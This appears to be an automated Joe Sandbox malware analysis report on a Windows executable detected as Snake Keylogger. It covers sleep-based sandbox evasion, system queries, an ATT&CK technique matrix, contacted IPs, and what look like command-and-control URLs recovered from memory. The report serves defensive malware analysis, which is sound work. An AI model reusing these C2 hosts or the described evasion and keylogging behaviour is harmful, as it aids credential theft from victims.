Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -598735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -598610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -598485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -598360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -598235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -598110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -597985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -597860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -597735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -597610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -597485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -597360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -597235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -597110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -596985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -595969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -595266s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -595156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -595047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -594938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -594813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -594688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -594578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -594469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -594344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -594235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -594110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -593985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -593860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -593735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -593610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -593485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -593360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -593235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -593110s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 0_2_00402706 FindFirstFileW,	0_2_00402706
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 0_2_00405731 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405731
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 0_2_004061E5 FindFirstFileW,FindClose,	0_2_004061E5
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 9_2_00402706 FindFirstFileW,	9_2_00402706
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 9_2_00405731 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	9_2_00405731
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 9_2_004061E5 FindFirstFileW,FindClose,	9_2_004061E5

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 599735	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 599594	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 599485	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 599360	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 599235	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 599110	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 598985	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 598860	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 598735	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 598610	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 598485	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 598360	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 598235	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 595969	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 595266	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 595156	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 595047	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 594938	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 594813	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 594688	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 594578	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 594469	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 594344	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 593860	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 593735	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 593610	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 593485	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 593360	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 593235	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 593110	Jump to behavior

Source: NDCNDvC27F.exe, 00000009.00000002.2533664137.0000000003998000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWXH
Source: NDCNDvC27F.exe, 00000009.00000002.2533664137.00000000039EF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	API call chain: ExitProcess graph end node			graph_0-4669
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	API call chain: ExitProcess graph end node			graph_0-4671

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Code function: 0_2_0040620C GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_0040620C

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Process created: C:\Users\user\Desktop\NDCNDvC27F.exe "C:\Users\user\Desktop\NDCNDvC27F.exe"

Jump to behavior

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Queries volume information: C:\Users\user\Desktop\NDCNDvC27F.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Code function: 0_2_00405EC4 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00405EC4

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000009.00000002.2558182714.0000000033E41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Directory queried: number of queries: 1001

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000009.00000002.2558182714.0000000033E41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	11 Process Injection	11 Masquerading	OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Clipboard Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	12 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	214 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
NDCNDvC27F.exe	66%	Virustotal		Browse
NDCNDvC27F.exe	58%	ReversingLabs	Win32.Trojan.Leonem

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsv7365.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsv7365.tmp\System.dll	0%	Virustotal		Browse

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.185.142	true	false	high
drive.usercontent.google.com	216.58.206.33	true	false	high
reallyfreegeoip.org	104.21.48.1	true	false	high
checkip.dyndns.com	193.122.6.168	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://checkip.dyndns.org/	false		high
https://reallyfreegeoip.org/xml/8.46.123.189	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://aborters.duckdns.org:8081	NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033E41000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com	NDCNDvC27F.exe, 00000009.00000003.2353263957.0000000003A44000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/	NDCNDvC27F.exe, 00000009.00000002.2533664137.0000000003998000.00000004.00000020.00020000.00000000.sdmp	false	high
http://anotherarmy.dns.army:8081	NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033E41000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/8.46.123.189$	NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033F39000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033F89000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/s	NDCNDvC27F.exe, 00000009.00000002.2533664137.0000000003998000.00000004.00000020.00020000.00000000.sdmp	false	high
http://reallyfreegeoip.org	NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033F16000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033F89000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033EF6000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033F39000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033F89000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	NDCNDvC27F.exe, 00000009.00000002.2533664137.0000000003998000.00000004.00000020.00020000.00000000.sdmp, NDCNDvC27F.exe, 00000009.00000003.2407809611.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, NDCNDvC27F.exe, 00000009.00000002.2533664137.00000000039EF000.00000004.00000020.00020000.00000000.sdmp, NDCNDvC27F.exe, 00000009.00000003.2372131031.0000000003A07000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033EEA000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033EF6000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033F39000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033F89000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	NDCNDvC27F.exe, 00000009.00000003.2353263957.0000000003A44000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.com	NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033EF6000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033F89000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	NDCNDvC27F.exe	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033E41000.00000004.00000800.00020000.00000000.sdmp	false	high
http://varders.kozow.com:8081	NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033E41000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033EF6000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.48.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
142.250.185.142	drive.google.com	United States	15169	GOOGLEUS	false
193.122.6.168	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
216.58.206.33	drive.usercontent.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1632239
Start date and time:	2025-03-07 21:21:58 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	NDCNDvC27F.exe renamed because original name is a hash value
Original Sample Name:	f244e767138599c4a0c605431d2be543d45da2adfb9ce4a2dcb499704febf381.exe
Detection:	MAL
Classification:	mal92.troj.evad.winEXE@3/17@4/4
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 93% Number of executed functions: 87 Number of non-executed functions: 75
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.60.203.209
Excluded domains from analysis (whitelisted): fs.microsoft.com, ctldl.windowsupdate.com, c.pki.goog
Execution Graph export aborted for target NDCNDvC27F.exe, PID 6284 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:24:59	API Interceptor	44x Sleep call for process: NDCNDvC27F.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.48.1	Stormwater Works Drawings Spec.js	Get hash	malicious	FormBook	Browse	www.lucynoel6465.shop/jgkl/
	Shipment Delivery No DE0093002-PDF.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/tking3/five/fre.php
	Remittance_CT022024.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/fix/five/fre.php
	http://microsoft-sharepoint4543464633.pages.dev/index-2jc93/	Get hash	malicious	HTMLPhisher	Browse	microsoft-sharepoint4543464633.pages.dev/index-2jc93/
	install.exe	Get hash	malicious	Babadeda	Browse	api.secureserver.top/api/files/winpleskdedicated/installer.exe?key=winpleskdedicated
	ZmK1CAc4VP.exe	Get hash	malicious	FormBook	Browse	www.tumbetgirislinki.fit/4wrd/
	uI1A364y2P.exe	Get hash	malicious	FormBook	Browse	www.lucynoel6465.shop/jgkl/
	QUOTATION NO REQ-19-000640.exe	Get hash	malicious	FormBook	Browse	www.lucynoel6465.shop/am6a/
	LLLLLLLLASSSEERRRR.ps1	Get hash	malicious	FormBook	Browse	www.tumbetgirislinki.fit/k566/
	laserl.ps1	Get hash	malicious	FormBook	Browse	www.lucynoel6465.shop/jgkl/?y2IHp=hI+cEEoDMRK5HtHlz4V8IEOzbfVROUzo+nuR9x41ri89hVkyLZ4bVRvwmPB4YpqMZl4/b+D+8qc7dcfD2Dlpe8No0hPfAwO5oFY7qBV6wzFyOtp6qA==&iLy=Wfpx
193.122.6.168	3GrfjMY0pG.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Shipment advice H-BL Draft.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	OeM750ajqm.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	jVE64QGXtK.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	checkip.dyndns.org/
	mKRflLn5sx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	HBL NO C-ACC-250002.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Shipping Document ..exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	PROFORMA INVOICE.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	BL NO - SNKO05B250100198.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	SecuriteInfo.com.Win32.SpywareX-gen.1111.20173.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	cexqIzhyvM.exe	Get hash	malicious	GuLoader	Browse	132.226.247.73
	3c638k0NJx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	drRbNknjyb.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	3GrfjMY0pG.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	TfRJR0Y3uW.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	132.226.8.169
	DNNueAb5UZ.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	YGIVlkbMy7.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	TMRASkMVAy.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	NmuA605dM4.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	132.226.8.169
	4PYRGCo1Di.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
reallyfreegeoip.org	cexqIzhyvM.exe	Get hash	malicious	GuLoader	Browse	104.21.96.1
	3c638k0NJx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	drRbNknjyb.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	3GrfjMY0pG.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	TfRJR0Y3uW.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.32.1
	DNNueAb5UZ.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	YGIVlkbMy7.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.96.1
	TMRASkMVAy.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.96.1
	NmuA605dM4.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
	4PYRGCo1Di.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.16.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORACLE-BMC-31898US	3c638k0NJx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	3GrfjMY0pG.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	YGIVlkbMy7.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	TMRASkMVAy.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	AQIu7JYa5r.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	Shipment advice H-BL Draft.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	vejfa5.elf	Get hash	malicious	Gafgyt, Mirai	Browse	140.204.96.94
	LE2dyDn347.exe	Get hash	malicious	GuLoader	Browse	193.122.130.0
	OeM750ajqm.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	jVE64QGXtK.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	193.122.6.168
CLOUDFLARENETUS	cexqIzhyvM.exe	Get hash	malicious	GuLoader	Browse	104.21.96.1
	3c638k0NJx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	KMSpico.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1
	drRbNknjyb.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	3GrfjMY0pG.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	Launcher.exe	Get hash	malicious	Growtopia, Phoenix Stealer	Browse	104.26.13.205
	TfRJR0Y3uW.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.32.1
	DNNueAb5UZ.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	http://questdagnostics.com/bill	Get hash	malicious	Unknown	Browse	104.21.9.149
	Launcher.exe	Get hash	malicious	Growtopia	Browse	104.26.13.205

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	cexqIzhyvM.exe	Get hash	malicious	GuLoader	Browse	104.21.48.1
	3c638k0NJx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	drRbNknjyb.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	3GrfjMY0pG.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	TfRJR0Y3uW.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.48.1
	DNNueAb5UZ.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.48.1
	YGIVlkbMy7.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.48.1
	TMRASkMVAy.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.48.1
	NmuA605dM4.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.48.1
	4PYRGCo1Di.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.48.1
